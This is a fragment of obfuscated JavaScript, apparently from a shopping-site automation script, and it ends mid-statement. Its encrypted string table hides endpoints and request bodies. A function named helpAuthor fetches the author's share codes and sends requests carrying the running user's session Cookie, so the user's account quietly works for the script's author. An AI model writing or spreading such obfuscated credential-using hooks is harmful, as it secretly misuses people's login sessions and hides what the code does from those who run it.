woHCpG04KMKnw4XCvBfCj2HDpcKhwpABXsKuw6/CmXEHwr0PAG0XDMKPFArDhnBYwrYTw4jCu8OmOsOKTmVWw45hJx0ewqHCmsOd','wrd/S3rCjMOoDmBSTSB1OMK1w60wwpBBLy8LdRfCj8K/','CTnCp35D','AsOTw50sKg==','A3zDiB0=','wrh2S1rDsw==','woDCvMOow4JAZsOhwqnCpMOnw4IuwoJjXsKkw4p7wrnDh8KzdcK1WnPCkUXDug7CtsKhw5zCuy0CQcKsDcKtY8KNw73CmifDgykrw4XCokt1wqHCqMOgFQEUw7l8JAx0w7hARsOmdsKOT8OKLsKFwpp6BsOFw7/Cg8KEJWLCgcK9wr5cw5jDpg==','wqHDtBYhJMOmLMKsS8KMBsKlasKKw5FBC8Odw7pjw6PDiHDCqEvDpjfDo8ONfcK3MkrCvH/CqMKkZcKHw5PDuCcMKyjDqU/Cq3vDiWF1NA==','w4g8wozDgWcXwo/CoMKUS2rCrkTCm3g2w5o4w4opw5jDh1gnw74uUCEawq4VE8OHw5LDjh4Iwo5Wwrk7VMKhA1rDhlzDvFRmw7dqTMOrSA9GwrbDi3rCmQxsDcOoBMOHwpUWOjzCn3PDicOJw7zCl3AUBik=','wpg1B0dw','wohiBMKKYg==','w47ClcKaw67DmQ==','NBfCmcOswpA=','w67CrnBmwpc=','wqJMJMKSTQ==','OsOrw5oUBDLDu8OTHXs=','w6bCpiECwrxuecOEQ2I=','wpUuAUd+','w73Dpg4JFA==','w7ckwrLDiW0=','UsKkJ17Cqw==','w6rCrxtEwrAydsOpCXLCv8KE','wpEoH1RJwrMVw7rChyrDt8OVLm7Dm8OxwqjCnsKVw4sHYhbCmcK2w6k3wq9Cw7PDvcOqwqYjHw==','fcK9Y8OEbcK+PUzDn8OLdXTCgsKsAsKbw5LCncKBwpjCmjdrC1nCjMO+aXfCmADDvsKF','w6PDq8Kew79cw5DDhkAvw78BwpgAwrDDmADDlFfCjHIbPkcGCcO2w7cWXRYjJynCpcKMwqPCohJGw6bDgV7DisOsw7c9w4gkSsKaWcObw5HChMOAfMOcw6Z8YnvDvwjCnMO5XirClwtpAMOlwprDkRwQw7TCncOaFMOCFsKIKRYOLELDmE3Do1Z+w4vCh8OsQMO+STbDtMKIwoJFwq3CrDonJMOVwoVdw68gw5zDoTTCjMKpCcKrRcKdPMKmw64ew6DCozvDmzXCocKgP8KJYWcROMKDKXfCsMOIcsOWUMKLL8KMHMKxwrMRw45Uw6HCjcOFa0UVMCMeawLDosKbw47DjMKfwrt1ewfDl0bCrnlhw6HDokfClhBGBsKMP8OBfMOIwqQND3TCkMKBwqPCiMOSawzDmg0NwrhgY8KvwoFnwpfDhsOUdyVDcsOIwpl0w53Dl3DCgnReNsOgwooAMsKyfMKEw7Ndw5XChsKMIcKcwplAa8KuJ1vCtD3CsMKFw47Cl2tlw44zw6fClcOROHgFw7rDn8KPwrjDtEZRw78fwo1Pw7rDiV5GwplSw7E7w7HDm8OPw5XCpMKdwr7Dkx7DucKmw5PDnCg0w74uw73Dq8OywofChn1KwqYwCcOeYsOyw67DpSVhX8KmSsK0w4rCmcKkwq0CNsK3EArDg8K9wo5TwpB2w5jDgCPDllsXXsKMRMKUe2wew6zDtTQTwr3Dk8OZaRLDrR0hNMK5w5nCo18XwocCw4vCjioeSyE8YTA6HQFlw7YtVyvCi8O2wpfCnCU2NsO0QXjDpUt2w7rCoFXDqWJrw7nCjsO5Y8KDCcKIw57Ct8KbQMO7HU5SehsMwrnDnMKkFkNxw5bDm2XDgMKJwpMrwqoyw4lRwpJswq3CiRMTO8OGwqbCqcO8cH9TDkHCsRLCuy54LHTCtmZgw786CsKjCWs4X8KiwrbDq0vDrS/Ds14IMcOFd2vDhsO7w4DCicOmKhLCjzfCvzUvw7N5SsOMwqc1Y3TDtXxgwr4lw4xOSFrCsAzCscOEUMOgfS4ARcKbwpXCoMOLOsKSw6DDki5eBSplw7LCqjdFesOSw7PDm8K/wrkXw5zDjMOWZMKnazg3w6Qew6xPG8Orw5rDscKmw4HDlMO/w6nDlcKKwoFWRMOOw7EXL8Ktwq4TH8KQK0ZHFMOobnAnAsK0BD16czt9w4FAP8OKUjBsLUDDqlPCpk/DvcOqw69ndVdnIMO0w7FpXMKcw7LCvsKQV8Ofw556CMKrHMKMWQVLwr3DosK6wohDRsOLKcKKWxrDusKBFF9DRMKBwpcSw4xXLcOVw69zCT0KwoJcDx3CqcOPdl/ClhEVaRIeGD3CuyoRw4gEByFNw5bChiVEWcOewoJ7aSXCkHQiwqLCusKdwpLDq8K8WhBOOsK7wrvCusOx','wofCg3jCjEdzGnsGCcOmw6zCu1/DkmxWEHrCvMKRwr7ChWfCi8KXXnd3w4sqMB3ChwbDoA==','wrPDqE8ycA==','wo5TdsOV','A8Ocw5ErAA==','U13CiMO4wok=','AjjDtcKwaw==','dDZ1Zx0=','wpXCmHldw54=','PnHDiQFG','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','wq7Cp8KCwqBx','w7gGwoHDjXU=','wp/DhQnCrsOy','VMKASsOnZg==','w4fCikVKwr8=','wp7ClUfCnkw=','wpBEw6fDrg==','w7nDncOdw4Iq','wq/DrCoVbg==','w6HCpU9iwrM=','GsO1w4zDggk=','dMO4LcOewrA=','woNFw5jDiMOB','w4nCkMKZw6LDoQ==','O118IcKS','w53DucOGw4Qm','wptfw5cew4nDlg==','LF7CrgXDuzY1fkELw7PCm8OSw4fDt8O9wo8fMCNxZ3wWw7TDvMOZQS/CiMOTVkHDjMOMw4s2wo/Cj8Obw5cuw5xwE2HDmX1Rw5YFNBoiw5fDhcKVwrLCmsOLNy/Cp8OhZBJrWcKnHHnDojtMw7HCuHxzwpvDk8KVUw==','w7UhRMOsw5HCmsO4w6ZkwpN7w78=','w6XCnsKiX8ORw53CswPDjhDDmMKm','NsOiw7kQDCPDv8OuEGclwr8ywo1aWMKsL8OOHyfDu8KYHcKIeyPDhWBRwqnDucON','b0cTKwfCsH9jX3XDiFTDrsOBA0rCh8KQwqQ=','w4jChsKfw73Cvw/CqwvDjlvDtS3CucOfQB1a','dFLCqsOAw77DlDwbS3E=','wqgQw6YowrZAwq8QHzXDicKgejJmwqsew5nDsMKOcMKuwqdYw7gpwrPDscOGw5jDuH4m','wpM4ClRKwrJTwoXCgDXDvMOeZzLCkcK1w6fDjcOFwp9HYU/DhsOhw64mwr4bw7bDq8Kvw6o7G8KdwpLDlsKoXcKzFcOiw5HCuTAgKsKMYxvCjDfDlcKcwodVBx0wFjQdEMO0WcOLcnzCnCg7HBMTwr1IwoZAwrTCtQ8RwphxUmMCwopjSsOLw6FefsKawostBMKvUcOhU8KzKMKceVbCvFjDn8OCNWTDq3cgw7kWZADDnMOKwqbCrsKcQ2/DoUbDvHzDtxIYwp0JFsK3w6zDrsOJw4spwqZPSWlsP8KSwqrDmsKNUsKtw67CosO4w7hoVHrDucKZw7jCuCjCuAHDlHNUQzHDlCrDjhxpw4FJM8OEwqUQeMKpw4UPwrTCglByw7DDiMOew5bDjcOzwrR0McKoFsKzEMOPLMOWw7nDmCs2w6/CmCMMY8KVw6rDgDZkMAbCu8KAw40TO8O+wpEpVcKGw6zDgcKbwq9WwrnDnsKGw5hyw49Ww7l1CcKAORbCsEIbFsKcwqfDoQDDqiZtLsOvOhrCnMKrw6LCusKSUMOew4bDkHIzwq3DhQvDpsOhwqjDosKZGTo=','w68Iw7R6Dg==','w6rCh8OSWio0wq01wrzCrw==','TcO7KsOKwoHDrQ==','w7zCq3Vmwrg=','MQ7CgW1SBA==','w4MMwr7DvUA=','MxrDvMKabw==','wonCm2PCk0Y=','M09hOcKq','wqtVY0DDkg==','wq1qUW7CkMK/','B3HDiApV','w5LDoigXNA==','cy90YT8=','wqhObnjDjMKdGAkvEcKXwpI=','wr9Jw5wMw6o=','wp/DtwcnUg==','V8O9B8ObwrrDrsOCwrTCsgjDu1M=','wpzDrCnCjsO3','PsO8w4sdFyfDv8OzF2Elw7c=','wp1iSV7Clg==','w6LCsTALwq97fcOkSXjCvsKO','c8KsIXbCs2k=','wobCmU7CnUYuVD0HEMOtw6U=','URZGVhcPXMK8GXbDvEs=','dMK5Z8OYd8OncxfDl8OUcnXChcOxB8KRw5DDnsKawpDDjSAoElDCg8OjKTrDm17CuMOAUw==','DEvDhCF9','OcO1w7kVNA==','wr9IQ3rDqg==','w47CkMO/cRc=','J8KYwp7CkXI=','GBHDosKrRQ==','wqnCgMOfw59y','IwvDp8K4UMOxJsKywqsOwrUqKlJcKizDoAfDk8K+wrPDvMOwdhYoAz3DrsOdwq/DrRzCu8KSwr0Wam1UwoHCuHQxL8KmAMKeKUB1w6AjwpjCt1LDqVzCrEEscsKcLm5gC8K1XhnCnsOJ','Oy7Cllpg','WMOmK8OZwrzDoMOMwrPClQXCqFcOwrl2Y8KMLmFcGMK1KsOcwo1KK8O8wqXCkhXCtShpwpvDtsO+FcKnwrJ9w53ConbCs2k=','wrHCnMKlwrpg','H8KVOcKhwpTDvcK4wpcPZkXDnhAXayxad8KpfmUNIGQvwrRQWsOtPWl3w7vDuMKfw6fDj8K8GsOH','wp3DhQ0bdw==','wpx8Uh/Dpg9/VcO1D8K4acOvJVkMCsK4CMOJdjxYJ0HCisKPXmzCqsOqw5DCqsK6R8KOw4DCsQ/CgTd+wqNGw58=','SBd3Qw==','w7c4bcOgw7M=','w7Q7csO9w5DDh8K2wqBtwpNhw73DhVfDkTrDnArCmijDvsKSCcO7Zh3DmsKzIR9XM8KCNGoGw75LKMOtwoLCksOAw4zDlhwJZC8lwqAEwqp0wqLDgX7CosOqKA==','aMK4fcOGYcKx','acOTwqfDvA4=','wrHCssK5woFY','w6DDvcKqw71e','RcOIwr/DsTg=','w5XDnTVsIcKQHsK/U8OQwpfCng==','w4g8wozDgWcXwo/CoMKYX2HDrlzCjXgjw5cyw5c+woLChFc3wr0gTGtTwq0FSMOUw5nDgg==','wrrCrcKzwrtzQcKdW8KRfVHDiMO0w4loSsOtwofCpcKfSMK3JcOSw4JiKXTCghQQw4h5','AMO3w4/DuSXDrCciwqvClmHCgmXDs8KnwrNZwqrCvcOpCUvDg8OjdBt5Cyd2IhtPwoN9AUvCt07DrWULbx7DjHFmQHTCjsOkX15lw6rCjcObwrRNU8KOw4LDvBvCnsK/chw1wp3CmMOAKCMZw49Lwropw4glFALDjsO6w7VRO1NKwoZuIcKVKhI9wrEZNMKOK8K4woIKw641DBnCvcK7WcK3w4nCn8OEwoUzOAsTa8OiNsOTcnR/NMObw6LDsTUUUcOUw5Zbw7TCqMOeMlrCgFk3WDzDu8OTJTrDoErCtDlDHMKDw4JoOcO6fcKRQMO3w5xKZi0bwpxkwr7Ci8ONG0rCoyjDrMOCw5bCssO9Z3l2wpjDllw5wplYwp4qUcOYSsOFwojCrgE2wqBVMjUeEXnDgcOCJsKlLAdlUcKmOsKkN8O8TMK4wqfDp8KXBVgGw7pOw4bCscK0w4wlOsKsw7bDgcKbw7TCscKpw6PCmFjCmgRAw48vwo/DtWrDjcKpdQAowoTCiDBGwqseScKpw4PDtVkxTsKBAU00wq7CgsKxwrTDmF1nTR7Dg2fDncKAGsOMb23DiSl+cMK9woBIEcKuT8KDBcKkd8KrADUdZXjDjlEtdsOpwp/DjMK7w448cMO7w5vDqcOmw7VOwp0PG8OxCDUQw7TCunPCj8KNGMOQJcKKTMOuWcOnwpBYw5B+X8KwwpEyLF3Dr8OTRATDqcOBwoPDrHbDlMOIw5JKwrjCocKdwrdZwrPCmSJNw4UhFCDDjcKbbMOkFjogBsKawos0w7ZjO8KfJMOeHsKnwqNDcSw8PcKEw5JNXMOKMRPCi8Kow4VWUHHCtsKxA8OWw7TCrcODw7lTwqjCvUtSLxfDsWUhwofDvyHDs2p0FCLDvWPCtC5FZcK/acOAwqTDhcK8DcOBw47CpcO2eHQuI8OLwqTCocOrw7vCmEPCjC58HTkVK8OnMgHCv8KfwpkoWn/DjMKcw54hw63Cs8O6w71kw7Etw54xbcKwwq9HE8K9U8O8w5RKwpfCuMOqR0PCqknDinPCosOkwp/Dh2wXKQ/DqsOgHhrDmXITX8KNf1PDoMO7SEjCtMKbB8ObXnUmwoDDp3JTEAPCsisdMCEEwpjCth3CvMKcO8KENcOdw75iw7LCkcKxNSXCvHHDiTBNJcKcY2nDhzd4P0rDp8KWwo4Iw4Eqw6RVw4TDuzbDki/CisOwZcK7wqxTw4TDinHDuzPDnMOfThgkwrpZwrvDrMOHwp4wXlsaw41Sa8K4ZsOuwpMhwrHDtWLCrMO0wrofwqQ1wpx4VVXDpiVuwpEtcR1awpV7XXwyw7Enw7tUwo/CpcO1MkMBF2vDjn3DvMO7T3Eyw6TCtMKWw6FSenTCnw/ClV9RJlA5WMOuLXnDrMKOwrPCvsOpwpIvRX7DjQ==','WsKpPsK+Ilc6DDdJw7oRY8OsccKtcGDCj8KLGUPChMOOIWROw7RDwq5XwrTCnFvDmMKc','LcO6wqQfCw==','CEJ8JA==','w4bCsAgDwrFwfcKiEj/DoMOJLTEwaGrDvsKfXMOrQcKZYcKBwq42w7ROwr3DrMKBwp5Gw48+wqPCkcKRZ8KnwpnCu8KPYsKUZcKOA8K4fDTClnwUwpjCs8OeHsK/w7IvwrfDnB9SOcO/w7Uxw64RwpTDhXIkeQdWIQjDnsKmESs9IMK0TWTCuDvDlsKfFsO4w5h8wpfCj8OjwrXDpcKnNMKIYUVxwocmw4dZw4c3w4/DuMOlwro8fW/Dm8KrUMK3w7Vkwo9qwq1QW8O9wp7Ci10xI8KKQsK7wpDDrcKJfFbCmR3DkcKEw5IDwprDjk8=','UcK6S8OMaQ==','w4HCs8KMw7rDuQ==','w7vCl8Kww6nDuA==','f8OYCMORwoA=','K8Omw7nDvTw=','wocHw4QSwoo=','woHCuMKvwrVO','w6nCsMOTRjA=','w6wgwqvDp0c=','EsO0w5k9Pw==','w4bCj8K4w6LDt0o=','D8O9w5U=','EMKZwonCqnTChsOLJVgxw5RPOw==','XRZy','PsOUw7zDnRbDkw9Awp3ClkbCv18=','a8KYBcKUPA==','HD3DvsKsSQ==','D09CFMKu','wofDmBc6UA==','LX3CkyHDng==','LMKqwqLCilXChsOlGXUxw69oHw==','jbsjFihGaymui.cAWomHxgrl.v6YqlAr=='];(function(_0xb67384,_0x27295a,_0x156d7c){var _0x52a1f8=function(_0x4f55ef,_0x225f21,_0xe9e21,_0x5db68b,_0x1405a3){_0x225f21=_0x225f21>>0x8,_0x1405a3='po';var _0x172f59='shift',_0x5489f2='push';if(_0x225f21<_0x4f55ef){while(--_0x4f55ef){_0x5db68b=_0xb67384[_0x172f59]();if(_0x225f21===_0x4f55ef){_0x225f21=_0x5db68b;_0xe9e21=_0xb67384[_0x1405a3+'p']();}else if(_0x225f21&&_0xe9e21['replace'](/[bFhGyuAWHxgrlYqlAr=]/g,'')===_0x225f21){_0xb67384[_0x5489f2](_0x5db68b);}}_0xb67384[_0x5489f2](_0xb67384[_0x172f59]());}return 0x806ab;};return _0x52a1f8(++_0x27295a,_0x156d7c)>>_0x27295a^_0x156d7c;}(_0x1c2f,0x102,0x10200));var _0x32fc=function(_0x38c66d,_0x22072b){_0x38c66d=~~'0x'['concat'](_0x38c66d);var _0x98e664=_0x1c2f[_0x38c66d];if(_0x32fc['cNYJfg']===undefined){(function(){var _0x3c460b=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x402cd7='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3c460b['atob']||(_0x3c460b['atob']=function(_0x3787fe){var _0x5a2bfc=String(_0x3787fe)['replace'](/=+$/,'');for(var _0x4b948a=0x0,_0x5b1e09,_0x222eed,_0x15038a=0x0,_0x1709d3='';_0x222eed=_0x5a2bfc['charAt'](_0x15038a++);~_0x222eed&&(_0x5b1e09=_0x4b948a%0x4?_0x5b1e09*0x40+_0x222eed:_0x222eed,_0x4b948a++%0x4)?_0x1709d3+=String['fromCharCode'](0xff&_0x5b1e09>>(-0x2*_0x4b948a&0x6)):0x0){_0x222eed=_0x402cd7['indexOf'](_0x222eed);}return _0x1709d3;});}());var _0x2c0a67=function(_0x4cd634,_0x22072b){var _0x2c73f4=[],_0x2a1a45=0x0,_0x2675a9,_0x3907cd='',_0x238dc3='';_0x4cd634=atob(_0x4cd634);for(var _0x47e79a=0x0,_0x39dff4=_0x4cd634['length'];_0x47e79a<_0x39dff4;_0x47e79a++){_0x238dc3+='%'+('00'+_0x4cd634['charCodeAt'](_0x47e79a)['toString'](0x10))['slice'](-0x2);}_0x4cd634=decodeURIComponent(_0x238dc3);for(var _0x5e0bc7=0x0;_0x5e0bc7<0x100;_0x5e0bc7++){_0x2c73f4[_0x5e0bc7]=_0x5e0bc7;}for(_0x5e0bc7=0x0;_0x5e0bc7<0x100;_0x5e0bc7++){_0x2a1a45=(_0x2a1a45+_0x2c73f4[_0x5e0bc7]+_0x22072b['charCodeAt'](_0x5e0bc7%_0x22072b['length']))%0x100;_0x2675a9=_0x2c73f4[_0x5e0bc7];_0x2c73f4[_0x5e0bc7]=_0x2c73f4[_0x2a1a45];_0x2c73f4[_0x2a1a45]=_0x2675a9;}_0x5e0bc7=0x0;_0x2a1a45=0x0;for(var _0x3ec44e=0x0;_0x3ec44e<_0x4cd634['length'];_0x3ec44e++){_0x5e0bc7=(_0x5e0bc7+0x1)%0x100;_0x2a1a45=(_0x2a1a45+_0x2c73f4[_0x5e0bc7])%0x100;_0x2675a9=_0x2c73f4[_0x5e0bc7];_0x2c73f4[_0x5e0bc7]=_0x2c73f4[_0x2a1a45];_0x2c73f4[_0x2a1a45]=_0x2675a9;_0x3907cd+=String['fromCharCode'](_0x4cd634['charCodeAt'](_0x3ec44e)^_0x2c73f4[(_0x2c73f4[_0x5e0bc7]+_0x2c73f4[_0x2a1a45])%0x100]);}return _0x3907cd;};_0x32fc['VssXhj']=_0x2c0a67;_0x32fc['naEGhH']={};_0x32fc['cNYJfg']=!![];}var _0x55afa0=_0x32fc['naEGhH'][_0x38c66d];if(_0x55afa0===undefined){if(_0x32fc['FAEWFO']===undefined){_0x32fc['FAEWFO']=!![];}_0x98e664=_0x32fc['VssXhj'](_0x98e664,_0x22072b);_0x32fc['naEGhH'][_0x38c66d]=_0x98e664;}else{_0x98e664=_0x55afa0;}return _0x98e664;};async function helpAuthor(){var _0x56d42f={'cDFLT':function(_0x5bc36d,_0x4caf74){return _0x5bc36d-_0x4caf74;},'xeoRL':function(_0x350532,_0x30507e){return _0x350532>_0x30507e;},'kBNIn':function(_0x38b904,_0x44f9ef){return _0x38b904*_0x44f9ef;},'juOYl':function(_0x53e1c0,_0x2fb183){return _0x53e1c0+_0x2fb183;},'fOtUx':function(_0x459612,_0x60b61b){return _0x459612(_0x60b61b);},'KWpVZ':_0x32fc('0',']IHt'),'VwevL':_0x32fc('1','oxKL'),'hBJOQ':function(_0x312cfb,_0x4096c3,_0x2e641b){return _0x312cfb(_0x4096c3,_0x2e641b);},'BivTi':function(_0xb4b472,_0x48cb4e){return _0xb4b472>_0x48cb4e;},'xVeHM':_0x32fc('2','08or'),'ngpiQ':_0x32fc('3','v^Dn'),'uYmgk':_0x32fc('4','Eeoa'),'EtYBK':_0x32fc('5','!8GV'),'cFHkT':_0x32fc('6','8[68'),'Snqcf':_0x32fc('7','OR3I'),'AHCmA':_0x32fc('8',')@iT'),'fEyPF':_0x32fc('9','1bsI'),'jAfmz':_0x32fc('a','nj@A'),'TEoJi':_0x32fc('b','Sh)R'),'kwkmP':function(_0xadace1){return _0xadace1();}};function _0x2bdffe(_0x1761c6,_0x50dbed){let _0x363c40=_0x1761c6[_0x32fc('c','@[C)')](0x0),_0x49ebd6=_0x1761c6[_0x32fc('d','I)et')],_0x147a3e=_0x56d42f[_0x32fc('e','X]Dh')](_0x49ebd6,_0x50dbed),_0x20d923,_0x366c71;while(_0x56d42f[_0x32fc('f','zJ@Q')](_0x49ebd6--,_0x147a3e)){_0x366c71=Math[_0x32fc('10','@RYp')](_0x56d42f[_0x32fc('11','yD$2')](_0x56d42f[_0x32fc('12','X4wa')](_0x49ebd6,0x1),Math[_0x32fc('13','*Wf!')]()));_0x20d923=_0x363c40[_0x366c71];_0x363c40[_0x366c71]=_0x363c40[_0x49ebd6];_0x363c40[_0x49ebd6]=_0x20d923;}return _0x363c40[_0x32fc('14','kafH')](_0x147a3e);}let _0x59e8b5=await _0x56d42f[_0x32fc('15','Dz@Y')](getAuthorShareCode2,_0x56d42f[_0x32fc('16','z2p&')]),_0xe6c34c=[];$[_0x32fc('17','X4wa')]=[..._0x59e8b5&&_0x59e8b5[_0x56d42f[_0x32fc('18','DP9^')]]||[],..._0xe6c34c&&_0xe6c34c[_0x56d42f[_0x32fc('19','L#FM')]]||[]];$[_0x32fc('1a','Sh)R')]=_0x56d42f[_0x32fc('1b','ub@R')](_0x2bdffe,$[_0x32fc('1c','v^Dn')],_0x56d42f[_0x32fc('1d','*Wf!')]($[_0x32fc('1e','e5VK')][_0x32fc('1f','NM9s')],0x3)?0x6:$[_0x32fc('20','@RYp')][_0x32fc('d','I)et')]);for(let _0x25b71e of $[_0x32fc('21','z2p&')]){const _0x232094={'url':_0x32fc('22','JpDz'),'headers':{'Host':_0x56d42f[_0x32fc('23','kafH')],'Content-Type':_0x56d42f[_0x32fc('24','v^Dn')],'Origin':_0x56d42f[_0x32fc('25','TzqP')],'Accept-Encoding':_0x56d42f[_0x32fc('26','nj@A')],'Cookie':cookie,'Connection':_0x56d42f[_0x32fc('27','ao@#')],'Accept':_0x56d42f[_0x32fc('28','zJ@Q')],'User-Agent':_0x56d42f[_0x32fc('29','*qbp')],'Referer':_0x32fc('2a','zJ@Q'),'Accept-Language':_0x56d42f[_0x32fc('2b','I)et')]},'body':_0x32fc('2c','Sh)R')+_0x25b71e[_0x56d42f[_0x32fc('2d','T707')]]+_0x32fc('2e','J@O4')+_0x25b71e[_0x56d42f[_0x32fc('2f','L#FM')]]+_0x32fc('30','gbRg')};await $[_0x32fc('31','z2p&')](_0x232094,(_0x41a97a,_0x2affcb,_0x1a057b)=>{});}await _0x56d42f[_0x32fc('32','oxKL')](helpOpenRedPacket);}function getAuthorShareCode2(_0x599223=_0x32fc('33','oxKL')){var _0x3062b9={'aLqjE':function(_0x35184d,_0x391080){return _0x35184d(_0x391080);},'iWITV':_0x32fc('34','JpDz'),'EOdwA':function(_0x5312a5,_0x2789c9){return _0x5312a5*_0x2789c9;},'KXMep':function(_0x54bf1c,_0x4f5e67){return _0x54bf1c!==_0x4f5e67;},'HbsWa':_0x32fc('35','dLXe'),'JehKl':_0x32fc('36','T707'),'bDFnv':function(_0x452e39,_0x108074){return _0x452e39===_0x108074;},'nopEe':_0x32fc('37','c&aQ'),'cEPYJ':_0x32fc('38','dLXe'),'NXukN':function(_0x425c3e,_0x4b6fcb){return _0x425c3e(_0x4b6fcb);},'nOzwj':function(_0x39ad66){return _0x39ad66();},'TkFdk':_0x32fc('39','Dz@Y'),'AKMkH':_0x32fc('3a','X]Dh'),'AuZpx':_0x32fc('3b','T707'),'NgRVU':_0x32fc('3c','V@6B'),'ZelbT':_0x32fc('3d','8b4z'),'bTuul':_0x32fc('3e','v^Dn'),'LhSVS':_0x32fc('3f','yD$2'),'EfPAZ':_0x32fc('40','e5VK'),'YEOZm':function(_0xb35d55,_0x5c00d1){return _0xb35d55===_0x5c00d1;},'WBmdj':_0x32fc('41','JpDz'),'iAHcT':function(_0x3bbd44,_0xc20017){return _0x3bbd44*_0xc20017;},'rgeGr':function(_0x148e30){return _0x148e30();}};return new Promise(async _0xa1939c=>{var _0x860cbf={'TRWQp':function(_0x5e93a9){return _0x3062b9[_0x32fc('42','!8GV')](_0x5e93a9);},'gFxCr':_0x3062b9[_0x32fc('43','!8GV')],'YKltQ':_0x3062b9[_0x32fc('44','Sh)R')],'eWGCy':_0x3062b9[_0x32fc('45','V@6B')],'ZaFTJ':_0x3062b9[_0x32fc('46','OR3I')],'NxupF':_0x3062b9[_0x32fc('47','T707')],'aOfNx':_0x3062b9[_0x32fc('48','nj@A')],'TRHte':_0x3062b9[_0x32fc('49','X]Dh')]};const _0x3e8b7d={'url':_0x599223+'?'+new 